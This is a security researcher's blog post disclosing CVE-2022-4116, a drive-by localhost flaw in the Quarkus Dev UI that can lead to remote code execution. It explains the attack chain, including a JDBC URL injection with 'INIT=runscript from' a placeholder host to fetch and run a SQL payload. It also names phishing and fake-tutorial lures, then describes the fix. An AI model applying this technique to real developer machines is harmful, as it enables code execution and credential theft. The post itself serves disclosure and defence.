While preparing a talk for the recent DeepSec Conference about attacking the developer environment through drive-by localhost, I reviewed some popular Java frameworks to see if they were vulnerable.
They were.
During my research, I had discovered a high-severity zero day in the Red Hat build of Quarkus — a popular, full-stack, Kubernetes-native Java framework optimized for Java virtual machines (JVMs) and native compilation that’s used as a platform for serverless, cloud and Kubernetes environments.
I was hoping it would be announced in time for the talk, but it was a week too late. Given that Red Hat published details of the vulnerability — CVE-2022-4116 — on Monday, Nov. 21, I can now share details of the vulnerability, which is a dangerous one.
At this point, the vulnerability has been rated 9.8 on the CVSS v3 Base Score. The vulnerability is found in the Dev UI Config Editor, which is vulnerable to drive-by localhost attacks that could lead to remote-code execution (RCE). Exploiting the vulnerability isn’t difficult and can be done by a malicious actor without any privileges.
According to Red Hat’s preliminary findings, the vulnerability affects the quarkus_dev_ui package. To be clear, CVE-2022-4116 doesn't impact services running in production; it only impacts developers building services using Quarkus. If a developer running Quarkus locally visits a website with malicious JavaScript, that JavaScript can silently execute code on the developer’s machine.
The payload I created — see here and here on GitHub — just opens the system calculator. However, the potential exists for the silent code to take more damaging actions such as installing a keylogger on the local machine to capture login information to production systems, or using GitHub tokens to modify source code.
The above HTML is hosted on joebeeton.github.io along with example vulnerable codebases.
The nature of the beast
As I explained in my DeepSec talk, there is a widespread belief that services that are only bound to localhost are not accessible from the outside world. Because of this misplaced belief, developers, for the sake of convenience, will run services they are developing that are configured in a less secure way compared with how they would (hopefully!) do it.
Simple requests
Normally, when JavaScript is running in the browser and loaded from a domain — e.g., example.com — the JavaScript would not be able to make requests to other domains, including localhost, without a preflight request. The preflight request is used to check the server’s Cross-Origin Resource Sharing (CORS) settings, to see if the server allows requests from example.com. (A CORS preflight request uses specific methods and headers to check whether the CORS protocol is understood and a server is aware.)
However, there are certain types of requests, called Simple Requests, that do not require a preflight request. According to Mozilla, such requests have to be either GET, HEAD or POST Requests.
Also, the request can only have a Content type of:
- application/x-www-form-urlencoded,
- multipart/form-data,
- text/plain, or
- No content type.
No data, including status code, is returned to the calling JavaScript.
That last point is critical. For a Simple Request, the browser makes the request, receives the response, but that data — including the HTTP Status Code — is not returned to JavaScript. It is possible, however, to infer whether the request was successful based on how long it took to return.
Within those constraints, it is possible to access localhost and, in certain circumstances, to trigger arbitrary code execution.
Repercussions
By compromising websites used by developers — for example, by simply injecting JavaScript into advertisements served on those sites or by launching a phishing attack that gets the developer to open a web browser on a compromised page — it is possible to reach out via non pre-flighted http requests to those services bound to localhost. It can be done by exploiting common misconfigurations in the Spring framework — a framework that provides a comprehensive programming and configuration model for modern Java-based enterprise applications. Alternatively, it can be done by exploiting known vulnerabilities found by myself and others. In fact, it is possible to generate an RCE on the developer's machine or on other services on their private network.
As developers have write access to codebases, AWS keys, server creds, etc., access to the developer's machine gives an attacker a great deal of scope to pivot to other resources on the network, as well as to modify or to flat-out steal the codebase.
We’re not sure how extensively the Red Hat build of Quarkus is used. Having been started only in 2019, the Quarkus framework is still young, and the Spring Boot framework is said to be far more popular.
But it’s worth noting that Quarkus is reportedly getting more popular, particularly in Kubernetes use cases, given its ease of use and significantly lighter demand on hardware resources to run and to run applications.
Still, it’s probably safe to assume that the use of Quarkus isn’t extensive, considering that it’s focused on Kubernetes usage. While many developers use Kubernetes, not all are using Quarkus. Therefore, the number of developers affected by this drive-by localhost attack is probably small.
Developer mode
During the development process of a Quarkus application, a developer would normally run the service being developed on their own machine. Quarkus has a nice feature, called Developer Mode, to help.
I started by using:
gradle quarkusDev
mvn quarkus:dev
This allows background compilation and live reload as the developer modifies the application, as well as the ability to modify configuration settings via a Web UI.
Dev UI
The Dev UI allows for live modification of the application’s configuration.
Changes to this UI modify the application.properties within the project and trigger a live reload of the application.
The Dev UI is designed to only be used during the development process of the application and only bound to localhost. Because of this, there is no authentication or other security controls built into it, such as a Cross-Site Request Forgery (CSRF) token.
Properties in the Dev UI are modified using a POST request with content type of application/x-www-form-urlencoded.
Making the POST request modifies the property and reloads the application. Also, as it’s a POST request with a content type of application/x-www-form-urlencoded, it is a simple request.
Proof-of-concept
As the Dev UI can be modified via a Simple Request, it is possible for JavaScript loaded from other websites to edit the Dev UI. While an attacker can make a website containing JavaScript that can edit the configuration of a Quarkus application in Developer mode, there are two questions:
- How can developers get access to the site with malicious JavaScript?
- What is the impact of modifying Quarkus properties?
Getting developers to access the malicious website
This attack requires getting someone who is running Quarkus in developer mode to go to a website containing the malicious JavaScript, as the JavaScript can be executed on page load, by continually attempting to hit localhost or both. It just requires that Quarkus is running in developer mode at the same point the browser tab is open. No other interaction is required for this vulnerability to be exploited. Even if the exploit fails, there is no easy way to see an indication that the attack occurred. Only if the person were to look at the browser’s developer console would they see errors or network traffic to localhost that looked suspicious.
Some ways that attackers could lure Quarkus users might include:
Tutorial website
One way to get people using Quarkus to visit your website would be to build a tutorial website for Quarkus. Some of those reading would be following along with the tutorial and would either already have Quarkus running or would start it up as they go through the tutorial.
Spearphishing
It would be possible to target a specific developer or a group of developers working in the same organization. If it is known that the targeted developers are using Quarkus, an attack could be executed by sending that person or group an email with a link to a website. If they happen to be running Quarkus in developer mode, compromising them would merely entail getting them to click the link; the page containing malicious JavaScript will then be loaded, and they would be compromised.
Impact of modifying properties
If an attacker is able to modify the properties of a Quarkus application, they’re capable of creating an RCE vulnerability on the target system. There are likely several ways of doing this. Once an adversary is able to modify the properties of an application, escalating to RCE is almost a certainty.
The easiest way I’ve found to craft such an attack is based on work done by security researcher and white-hat hacker Eugene Lim.
The proof of concept (POC):
Index.html
Exec.sql
The above POC does the following.
- On page load, executes JavaScript that makes a POST request to localhost.
- The POST request modifies the JDBC URL of this application.
- That modification changes the H2 database to have an argument of
INIT=runscript from ‘’
http://somerandomsite.bla/exec.sql
.”
- As the Quarkus application is reloaded, the H2 database is rebuilt, and the in-memory H2 database pulls down the exec.sql script and executes it.
- The
exec.sql
contains anALIAS
command to compile a Java method that runs whatever command is passed in. - The next line in the SQL script calls that method with the argument open
/System/Applications/Calculator.app
, thus opening the calculator app on the target’s machine.
The fix
The fix implemented by the Quarkus team for CVE-2022-4116 — which is in versions 2.14.2.Final and 2.13.5.Final (LTS) — requires the Dev UI to check the origin header so that it only accepts requests that contain a header of:
origin : localhost
This header is set by the browser itself and is not modifiable by JavaScript run in the browser. JavaScript loaded from the website example.com would have an origin header of:
origin : example.com
Drive-by localhost attacks as an attack vector against developers
The underlying issue here is that the Quarkus team assumed that, since the service was designed to only be run on a developer’s local machine and bound to localhost, it would be safe from attacks originating on the internet. Therefore, they did not add any security controls. However, this class of attack vector is not limited to Quarkus. I have found similar issues in other web services that are normally left open when bound to localhost. There are likely to be many more.
Attack payloads for Quarkus and other frameworks can be found here.
An attack vector with a limited shelf life
While CVE-2022-4116 has been fixed, there are likely many more equivalent vulnerabilities in other frameworks. Luckily, there is a solution on the horizon that should block this attack vector without finding and fixing each vulnerable framework: W3C’s new Private Network Access specification.
This specification splits the hosts into three areas:
- Public internet
- Private network
- Localhost
When a request is made in the browser from a less private network to a more private one, even Simple Requests trigger a preflight.
Also, a new CORS header is added to the preflight request of:
Access-Control-Request-Private-Network
The server will need to respond with a header of:
Access-Control-Allow-Private-Network : true
… for the browser to then allow the actual POST/GET etc. request through.
If the server does not respond with the above header set to true, the request is blocked. For this class of attack to work with this specification, the server would have to specifically opt in to allow requests that originate from less private networks. This effectively blocks this attack vector for those browsers that support it.
Browser support for Private Network Access
Currently, only the team behind the Chromium/Chrome browser is actively working on implementing the new specification, which is currently scheduled for Chrome 109, due to be released mid-December 2022.
Firefox has Private Network Access on its backlog, but a release date has not yet been scheduled. I’ve not been able to find information on Safari or Edge. Given that Edge is Chromium-based, the browser may get Private Network Access at some point as the change in Chromium feeds into Edge.